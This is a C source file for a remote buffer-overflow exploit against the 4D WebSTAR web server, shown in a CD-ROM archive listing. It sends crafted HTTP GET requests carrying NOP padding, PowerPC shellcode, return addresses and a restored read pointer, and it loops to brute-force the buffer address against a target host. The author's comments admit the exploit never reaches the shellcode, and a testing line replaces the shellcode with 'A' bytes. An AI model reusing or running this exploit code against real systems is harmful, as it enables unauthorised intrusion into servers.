home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / 4dwebstar / 4dwebstar.c < prev   
C/C++ Source or Header  |  2005-05-09  |  6KB  |  196 lines

  1. /* 4d buffer overflow
  2.  * Braden Thomas
  3.  *
  4.  * the buffer is copied byte by byte starting from the beginning of
  5.  * the buffer
  6.  * until a NULL byte is reached (or a couple other types of bytes)
  7.  * the buffer is copied from a pointer that resides past the end of
  8.  * the buffer
  9.  * the buffer can overflow over this pointer, allowing the program
  10.  * to read bytes to wherever it wants
  11.  *
  12.  * -the exploit must restore this pointer or risk reading from null
  13.  *  memory, terminating overflow
  14.  *  -the pointer is different each time, though it's location in
  15.  *  relation to the buffer is static (buffer+1285)
  16.  *  -the pointer is overwritten byte by byte, meaning that one wrong
  17.  *  byte, and we're reading from
  18.  *  somewhere else... which can be potentially bad in terms
  19.  *  of exploitation
  20.  *
  21.  *  method:
  22.  *  -exploit attempts to: overwrite the pointer so that the memory
  23.  *  will continue to be overflowed
  24.  *  (i.e., do not point into any memory that contains a null byte)
  25.  *  -exploit attempts to continue overflowing with return addresses,
  26.  *  to overflow where LR is stored
  27.  *  -when loop ends and LR is restored, it will return execution
  28.  *  into the buffer and into shellcode
  29.  *  -some looping has been added, where BUFADDR is enumerated to try
  30.  *  to brute force the overflow
  31.  *  because failed servers are respawned
  32.  *
  33.  *  results:
  34.  *  actually successful in moving the execution pointer about 10
  35.  *  to 25% of the time
  36.  *  unsuccessful in actually jumping to the nops/shellcode :(
  37.  *
  38.  *  problems I don't understand:
  39.  *  occasionally other threads crash in weird places (memcpy and
  40.  *  szone_malloc)...
  41.  *  this might actually be when it works as desired and
  42.  *  doesn't crash... but other threads do crash
  43.  *  before shellcode can do its magic!
  44.  *  (but that's just a hypothesis) :)
  45.  *  */
  46.  
  47.  
  48. #include <stdio.h>
  49. #include <stdlib.h>
  50. #include <string.h>
  51. #include <sys/socket.h>
  52. #include <sys/wait.h>
  53. #include <netinet/in.h>
  54. #include <arpa/inet.h>
  55. #include <netdb.h>
  56. #include <unistd.h>
  57. #include <sys/time.h>
  58.  
  59. unsigned char shellcode[]= // no 0x00 0x20 0x3f 0x24 0x2f
  60. "\x7c\x63\x1a\x79\x40\x82\xff\xfd\x7d\xa8\x02\xa6\x38\xc3\xe1\x35"
  61. "\x39\x80\x01\x18\x39\xad\x1f\xff\x81\xcd\xe1\x39\x81\xed\xe1\x35"
  62. "\x7d\xef\x72\x78\x91\xed\xe1\x35\x7c\x06\x68\xac\x7c\x01\x04\xac"
  63. "\x7c\x06\x6f\xac\x4c\x01\x01\x2c\x39\xad\xff\xfc\x39\x8c\xff\xfb"
  64. "\x7d\x8c\x63\x79\x40\x82\xff\xd8\x3b\xe0\x30\xff\x7f\xe0\x4e\x70"
  65. "\x44\xff\xff\x02\x7c\x63\x1a\x79\x7c\x63\x1a\x79\x7c\x63\x1a\x79"
  66. "\x10\x29\x25\xcb\x10\xc9\x25\xc8\x10\xe9\x25\xcf\x10\x49\x25\xa8"
  67. "\x6c\x49\x25\xcb\x54\x49\x27\xb1\x54\x37\x3e\xb1\x60\x49\x25\xc4"
  68. "\x28\x4b\x3e\xf0\x28\x49\x25\xc9\x54\xc1\x27\x6f\x10\xe9\x25\xd9"
  69. "\x10\x49\x25\xa1\x57\x8a\xd6\xb1\x6c\x49\x25\xcb\x54\x49\x27\xb1"
  70. "\x10\x49\x25\xa3\x57\x8a\xd6\xb1\x6c\x49\x25\xcb\x54\x49\x27\xb1"
  71. "\x57\x8a\xd6\xb1\x10\x49\x25\xd7\x10\xc9\x25\xd9\xb8\xc8\xda\x21"
  72. "\x10\xe8\xda\x21\x10\xc8\xda\x39\x6c\x49\x25\xcb\x54\x49\x27\xb1"
  73. "\x54\x37\x3e\xb1\x10\xe9\x25\xcb\x10\x49\x25\x93\x57\x8a\xd6\xb1"
  74. "\x54\xed\x0e\xb1\x6c\x49\x25\xcb\x54\x49\x27\xb1\x10\xec\xda\x36"
  75. "\x04\x4c\xda\x36\x68\xcb\xda\x2c\x10\x49\x25\x8b\x6c\x49\x25\xcb"
  76. "\x54\x49\x27\xb1\x54\xec\x0f\xb0\x68\xcb\xda\x34\x54\x21\x27\x6f"
  77. "\x10\x2a\x25\xe1\xb8\x28\xda\x31\xb8\xe8\xda\x35\x10\xc8\xda\x31"
  78. "\x10\x49\x25\xf2\x54\x49\x21\x65\x6c\x49\x25\xcb\x54\x49\x27\xb1"
  79. "\x57\xa9\x25\xc1\x07\x2b\x4c\xa7\x07\x2a\x56\xa1\x28\x49\x25\xc9"
  80. "\x28\x49\x25\xc9";
  81.  
  82. #define BUFSIZE 1400
  83. long BUFADDR= 0x284fe04;//0x02850204;
  84.  
  85. int main(int argc, char *argv[])
  86. {
  87.     printf("4d WebSTAR buffer overflow\n");
  88.     printf("\tBraden Thomas\n");
  89.  
  90.     if (argc<2)
  91.     {
  92.         printf("4dbo <target>\n");
  93.         return 1;
  94.     }
  95.  
  96.     struct sockaddr_in their_addr;
  97.     their_addr.sin_family = AF_INET;
  98.     their_addr.sin_port = htons(80);
  99.     inet_aton(argv[1], &(their_addr.sin_addr));
  100.     memset(&(their_addr.sin_zero), '\0', 8);
  101.  
  102.  
  103.     int count=0;
  104.     while (1)
  105.     {
  106.  
  107.         char buffer[BUFSIZE];
  108.  
  109.         // [nops][shellcode][ret addrs][readaddr][more ret addrs]
  110.         
  111.          memset(buffer,0x60,sizeof(buffer)); // nops first
  112.         
  113.          int shellcodeLen = sizeof(shellcode)-1;
  114.          memset(shellcode,'A',shellcodeLen); // justfor testing!
  115.         
  116.          memcpy(buffer+400+5,shellcode,shellcodeLen); // new  shellcode
  117.         
  118.     
  119.          unsigned long retaddr = BUFADDR + 0x1600; // as if it matters... this never works!
  120.          unsigned long *bufPtr = (unsigned long*)(buffer+400
  121.          +shellcodeLen+5); // now for ret addrs
  122.          int bufCnt;
  123.          for (bufCnt=400+shellcodeLen;bufCnt<BUFSIZE;bufCnt+=4)
  124.          {
  125.          memcpy(bufPtr,&retaddr,4);
  126.          bufPtr++;
  127.          }
  128.         
  129.          unsigned long readaddr = BUFADDR; // now ptr read address
  130.          // just a guess... works pretty well tho
  131.          memcpy(buffer+1285,&readaddr,4);
  132.         
  133.         memcpy(buffer,"GET /",5);
  134.         char httpStr[]=" HTTP/1.1\r\n\r\n";
  135.         memcpy(buffer+BUFSIZE-sizeof(httpStr),httpStr,sizeof(httpStr));
  136.         
  137.          if (!count)
  138.          printf("\nRead addr: 0x%x\nReturn addr: 0x%x\n",readaddr,retaddr);
  139.         
  140.         
  141.          int sockfd = socket(AF_INET, SOCK_STREAM, 0);
  142.          if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof
  143.          (struct sockaddr)) == -1)
  144.          {
  145.          printf("connect error\n");
  146.          return 1;
  147.          }
  148.          if (send(sockfd, buffer, sizeof(buffer)-1, 0) == -1)
  149.          {
  150.          printf("send error\n");
  151.          return 1;
  152.          }
  153.         
  154.          struct timeval time;
  155.          fd_set mySet;
  156.          FD_ZERO(&mySet);
  157.          FD_SET(sockfd, &mySet);
  158.          time.tv_sec = 40;
  159.          time.tv_usec = 0;
  160.          if (!select(sockfd+1, &mySet, NULL, NULL, &time))
  161.          {
  162.          printf("\nNo response received.\n");
  163.          break;
  164.          }
  165.          else
  166.          {
  167.          char resBuff[64];
  168.          int readRes = recv(sockfd, resBuff, sizeof(resBuff), 0);
  169.          if (!readRes)
  170.          {
  171.          printf("\nZero length response.\n");
  172.          }
  173.          else if (!(count%21))
  174.          printf("\nResponse length: %d", readRes);
  175.          else
  176.          printf(".");
  177.         
  178.          count++;
  179.         
  180.          if (count>=100)
  181.          {
  182.          count=0;
  183.          BUFADDR+=0x200;
  184.          if (BUFADDR>0x285c000)
  185.          BUFADDR=0x284f204;
  186.          }
  187.         
  188.         }
  189.         
  190.          close(sockfd);
  191.          }
  192.          return 0;
  193.          }
  194.         
  195.     
  196.